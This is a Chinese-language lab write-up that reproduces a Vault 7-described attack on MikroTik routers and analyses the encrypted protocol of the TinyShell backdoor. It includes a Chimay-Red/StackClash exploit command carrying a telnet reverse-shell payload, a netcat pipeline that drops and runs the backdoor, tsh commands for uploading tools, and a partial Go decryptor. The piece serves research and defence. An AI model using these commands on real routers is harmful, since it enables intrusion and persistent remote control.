CIA组织MikroTik软路由攻击场景复现及后门加解密剖析
字数 1317 2025-08-05 08:20:05

MikroTik软路由攻击场景复现及TinyShell后门技术剖析

概述

本文基于CIA泄露的"Vault 7"文档,详细剖析CIA组织针对MikroTik路由器的攻击技术,包括漏洞利用套件构建、攻击场景复现、TinyShell后门功能分析及其通信模型解密。

环境准备

MikroTik虚拟机搭建

  1. 系统版本选择:MikroTik RouterOS 6.38.4
  2. 安装步骤:
    • 通过VMware安装MikroTik虚拟机
    • 登录信息:用户名admin,密码为空
  3. 网络配置:
    ip address add address=192.168.109.200/24 interface=ether1
    

漏洞利用套件准备

  1. Chimay-Red

    • 项目地址:https://github.com/BigNerd95/Chimay-Red
    • 功能:针对MikroTik RouterOS系统中www程序的漏洞利用工具
  2. TinyShell后门

    • 开源项目:https://github.com/orangetw/tsh
    • 特性:
      • 体积小(静态编译后约55KB)
      • 支持正向/反向连接模式
      • 通信数据加密传输

攻击场景复现

攻击流程

  1. 使用Chimay-Red上传TinyShell后门
  2. 通过TinyShell控制端连接后门
  3. 验证shell权限
  4. 上传busybox增强系统功能
  5. 通过busybox执行恶意操作

详细步骤

  1. 上传并执行TinyShell后门

    {
    echo "echo Uploading...";
    hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/bash\n"' tshd | sed -e "s/x //g";
    echo "chmod 777 /ram/bash";
    echo "./ram/bash";
    } | nc -l -q 0 -p 2345;
    ./StackClash_x86.py 192.168.109.200 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.109.140 2345 < /ram/f | /bin/bash > /ram/f"
    
  2. 连接TinyShell确认权限

    ./tsh 192.168.109.200
    
  3. 上传busybox

    ./tsh 192.168.109.200 put busybox-i486 /ram/
    
  4. 执行恶意操作

    ./tsh 192.168.109.200
    cd /ram
    chmod 777 busybox-i486
    ./busybox-i486
    

TinyShell后门技术分析

功能模块

  1. 文件下载

    • 函数:tshd_get_file
    • 功能:从受控设备下载文件到控制端
  2. 文件上传

    • 函数:tshd_put_file
    • 功能:从控制端上传文件到受控设备
  3. Shell执行

    • 函数:tshd_runshell
    • 功能:在受控设备上执行shell命令
  4. 通信模块

    • 发送函数:pel_send_msg
    • 接收函数:pel_recv_msg
    • 使用SHA1算法进行密钥派生

通信模型

  1. 初始化阶段

    • 生成两个20字节的IV数据(IV1和IV2)
    • 通过SHA1算法派生发送和接收的AES密钥
    • 交换challenge数据(\x58\x90\xAE\x86\xF1\xB9\x1C\xF6\x29\x83\x95\x71\x1D\xDE\x58\x0D)
  2. 密钥派生

    send_aes_key = SHA1(key + IV1)[:16]
    recv_aes_key = SHA1(key + IV2)[:16]
    send_aes_iv = IV1[:16]
    recv_aes_iv = IV2[:16]
    
  3. 数据加密

    • 使用AES-CBC模式
    • 每16字节数据块加密
    • 前一块密文作为下一块的IV
  4. 通信数据结构

    [2字节长度][实际载荷数据]
    

通信解密程序实现

Go语言实现

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/sha1"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "strings"
)

func main() {
    key := "tinyshell"
    // 读取捕获的通信数据
    content, err := ioutil.ReadFile("capture.txt")
    if err != nil {
        fmt.Println("Error reading file:", err)
        return
    }
    
    // 解析初始IV数据
    firstdata_hex, _ := hex.DecodeString(firstdata)
    if len(firstdata_hex) == 40 {
        send_iv := firstdata_hex[:20]
        recv_iv := firstdata_hex[20:]
        
        // 派生AES密钥
        send_aes_key := CalculateSHA1(append([]byte(key), send_iv...))[:16]
        recv_aes_key := CalculateSHA1(append([]byte(key), recv_iv...))[:16]
        
        // 解密通信数据
        for _, packet := range packets {
            if isSendPacket(packet) {
                Decrypt_msg(packet, send_aes_key, &send_aes_iv)
            } else {
                Decrypt_msg(packet, recv_aes_key, &recv_aes_iv)
            }
        }
    }
}

func Decrypt_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) {
    // 解密实现细节...
}

func CalculateSHA1(input []byte) []byte {
    hasher := sha1.New()
    hasher.Write(input)
    return hasher.Sum(nil)
}

解密流程

  1. 从捕获数据中提取初始IV(40字节)
  2. 使用固定密钥"tinyshell"和IV派生AES密钥
  3. 识别通信方向(发送/接收)
  4. 按块解密通信数据
  5. 解析载荷内容

防御建议

  1. 及时更新固件:确保MikroTik设备运行最新版本
  2. 禁用不必要的服务:如非必要,关闭www服务
  3. 网络隔离:将路由管理接口与业务网络隔离
  4. 通信监控:检测异常加密通信模式
  5. 文件完整性检查:定期检查系统关键文件是否被篡改

总结

本文详细剖析了CIA组织针对MikroTik路由器的攻击技术链,从漏洞利用到后门通信机制,提供了完整的复现方法和解密工具实现。理解这些技术有助于安全研究人员更好地防御此类高级威胁。

MikroTik软路由攻击场景复现及TinyShell后门技术剖析 概述 本文基于CIA泄露的"Vault 7"文档,详细剖析CIA组织针对MikroTik路由器的攻击技术,包括漏洞利用套件构建、攻击场景复现、TinyShell后门功能分析及其通信模型解密。 环境准备 MikroTik虚拟机搭建 系统版本选择:MikroTik RouterOS 6.38.4 安装步骤: 通过VMware安装MikroTik虚拟机 登录信息:用户名 admin ,密码为空 网络配置: 漏洞利用套件准备 Chimay-Red : 项目地址:https://github.com/BigNerd95/Chimay-Red 功能:针对MikroTik RouterOS系统中www程序的漏洞利用工具 TinyShell后门 : 开源项目:https://github.com/orangetw/tsh 特性: 体积小(静态编译后约55KB) 支持正向/反向连接模式 通信数据加密传输 攻击场景复现 攻击流程 使用Chimay-Red上传TinyShell后门 通过TinyShell控制端连接后门 验证shell权限 上传busybox增强系统功能 通过busybox执行恶意操作 详细步骤 上传并执行TinyShell后门 : 连接TinyShell确认权限 : 上传busybox : 执行恶意操作 : TinyShell后门技术分析 功能模块 文件下载 : 函数: tshd_get_file 功能:从受控设备下载文件到控制端 文件上传 : 函数: tshd_put_file 功能:从控制端上传文件到受控设备 Shell执行 : 函数: tshd_runshell 功能:在受控设备上执行shell命令 通信模块 : 发送函数: pel_send_msg 接收函数: pel_recv_msg 使用SHA1算法进行密钥派生 通信模型 初始化阶段 : 生成两个20字节的IV数据(IV1和IV2) 通过SHA1算法派生发送和接收的AES密钥 交换challenge数据( \x58\x90\xAE\x86\xF1\xB9\x1C\xF6\x29\x83\x95\x71\x1D\xDE\x58\x0D ) 密钥派生 : 数据加密 : 使用AES-CBC模式 每16字节数据块加密 前一块密文作为下一块的IV 通信数据结构 : 通信解密程序实现 Go语言实现 解密流程 从捕获数据中提取初始IV(40字节) 使用固定密钥"tinyshell"和IV派生AES密钥 识别通信方向(发送/接收) 按块解密通信数据 解析载荷内容 防御建议 及时更新固件 :确保MikroTik设备运行最新版本 禁用不必要的服务 :如非必要,关闭www服务 网络隔离 :将路由管理接口与业务网络隔离 通信监控 :检测异常加密通信模式 文件完整性检查 :定期检查系统关键文件是否被篡改 总结 本文详细剖析了CIA组织针对MikroTik路由器的攻击技术链,从漏洞利用到后门通信机制,提供了完整的复现方法和解密工具实现。理解这些技术有助于安全研究人员更好地防御此类高级威胁。